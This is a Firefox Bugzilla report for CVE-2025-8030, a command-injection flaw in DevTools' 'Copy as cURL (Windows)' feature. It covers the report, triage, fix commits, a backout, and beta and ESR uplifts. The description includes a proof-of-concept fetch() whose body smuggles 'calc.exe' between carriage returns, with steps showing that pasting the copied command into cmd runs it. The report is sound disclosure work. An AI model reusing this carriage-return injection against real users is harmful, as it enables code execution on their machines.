1968414 - (CVE-2025-8030) Copy As Curl[Windows] - Code Execution [Return ie \r in request body]

Status: RESOLVED FIXED

(DevTools :: Netmonitor, defect, P2)

Description

[Ameen Basha M K]

Attachment: [Firefox] CopyAsCurl(windows)-Return.mp4

HI Team, Firefox nightly latest on windows vulnerable for code execution via copy as curl (windows) which allows the attacker to execute code on victims machine

Tested in Nightly Latest 140.0a1 (2025-05-24) (64-bit)

fetch("/", {
"credentials": "omit",
"headers": {
"Accept-Language": "en-US",
"Content-Type": "text/plain",
},
"body": "\rcalc.exe \r",
"method": "POST",
});

Steps to reproduce

1. Send the above request directly via console (or) embed it in html
2. Now from network tab copy the request as curl (windows)
3. paste it in cmd and you can find the calc popup

rootcause \r wasn't filtered properly

I have reported the same to chrome and the issue was fixed now i have attached the changeset below, we can adopt the same here too
https://chromium-review.googlesource.com/c/devtools/devtools-frontend/+/6573473/2/front_end/panels/network/NetworkLogView.ts

I have attached the poc video for reference

Comment 1

[Julian Descottes [:jdescottes]]

Nicolas can you check if it's a regression from the recent fix on this feature?

Comment 2

[Nicolas Chevobbe [:nchevobbe]]

(In reply to Julian Descottes [:jdescottes] from comment #1)

Nicolas can you check if it's a regression from the recent fix on this feature?

regressed by Bug 1950001

Comment 3

[BugBot [:suhaib / :marco/ :calixte]]

Set release status flags based on info from the regressing bug 1950001

:bomsy, since you are the author of the regressor, bug 1950001, could you take a look?

For more information, please visit BugBot documentation.

Comment 4

[Ameen Basha M K]

Hi :bomsy can you look into this case? i have shared the chrome changeset for this issue in the description.

Comment 5

[Ameen Basha M K]

Hi Bomsy Friendly Ping, Any update on this case.

Comment 6

[Hubert Boma Manilla (:bomsy)]

Attachment: (secure)

Comment 7

[Ameen Basha M K]

Team any update on this case?

Comment 8

[Ameen Basha M K]

Seems the fix is accepted, can we move this issue to closed team

Comment 9

[Pulsebot]

Pushed by [e-mail]:
https://github.com/mozilla-firefox/firefox/commit/5dca7e838a6d
https://hg.mozilla.org/integration/autoland/rev/77c894b3f3b8
[devtools] Escape carriage return character properly r=devtools-reviewers,nchevobbe

Comment 10

[Pulsebot]

Pushed by [e-mail]:
https://github.com/mozilla-firefox/firefox/commit/f87e4f401557
https://hg.mozilla.org/integration/autoland/rev/5649df61eae0
Revert "Bug 1968414 - [devtools] Escape carriage return character properly r=devtools-reviewers,nchevobbe" for causing dt failures @browser_net_curl-utils.js.

Comment 11

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

Backed out for causing dt failures @browser_net_curl-utils.js.

• Backout link
• Push with failures
• Failure Log

Comment 12

[Pulsebot]

Pushed by [e-mail]:
https://github.com/mozilla-firefox/firefox/commit/4e38ca024e12
https://hg.mozilla.org/integration/autoland/rev/c2a657f761cb
[devtools] Escape carriage return character properly r=devtools-reviewers,nchevobbe

Comment 13

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/mozilla-central/rev/c2a657f761cb

Comment 14

[BugBot [:suhaib / :marco/ :calixte]]

The patch landed in nightly and beta is affected.
:bomsy, is this bug important enough to require an uplift?

• If yes, please nominate the patch for beta approval.
  • See https://wiki.mozilla.org/Release_Management/Requesting_an_Uplift for documentation on how to request an uplift.
• If no, please set status-firefox141 to wontfix.

For more information, please visit BugBot documentation.

Comment 15

[Hubert Boma Manilla (:bomsy)]

Attachment: (secure)

Original Revision: https://phabricator.services.mozilla.com/D254323

Comment 16

[Phabricator Automation]

firefox-beta Uplift Approval Request

• User impact if declined: Broken escape of the curl on windows command
• Code covered by automated testing: yes
• Fix verified in Nightly: yes
• Needs manual QE test: no
• Steps to reproduce for manual QE testing: None
• Risk associated with taking this patch: small js fix
• Explanation of risk level: Low risk
• String changes made/needed: None
• Is Android affected?: no

Comment 17

[Pascal Chevrel:pascalc]

Bomsy, we will need uplift requests for ESR branches as well, thanks.

Comment 18

[Hubert Boma Manilla (:bomsy)]

Attachment: (secure)

Original Revision: https://phabricator.services.mozilla.com/D254323

Comment 19

[Hubert Boma Manilla (:bomsy)]

Attachment: (secure)

Original Revision: https://phabricator.services.mozilla.com/D254323

Comment 20

[Pulsebot]

https://github.com/mozilla-firefox/firefox/commit/35dd23eee450
https://hg.mozilla.org/releases/mozilla-beta/rev/2e339ce3dd4a

Comment 21

[Pulsebot]

https://hg.mozilla.org/releases/mozilla-esr128/rev/21af148c0443

Comment 22

[Pulsebot]

https://hg.mozilla.org/releases/mozilla-esr140/rev/aa23968547ac

Comment 23

[Pulsebot]

Pushed by [e-mail]:
https://hg.mozilla.org/releases/mozilla-esr128/rev/51bdd0ca5796
Lint fix

Comment 24

[Simon Friedberger [:simonf]]

Attachment: advisory.txt

Comment 25

[Simon Friedberger [:simonf]]

Attachment: advisory.txt

Comment 26

[Simon Friedberger [:simonf]]

Attachment: advisory.txt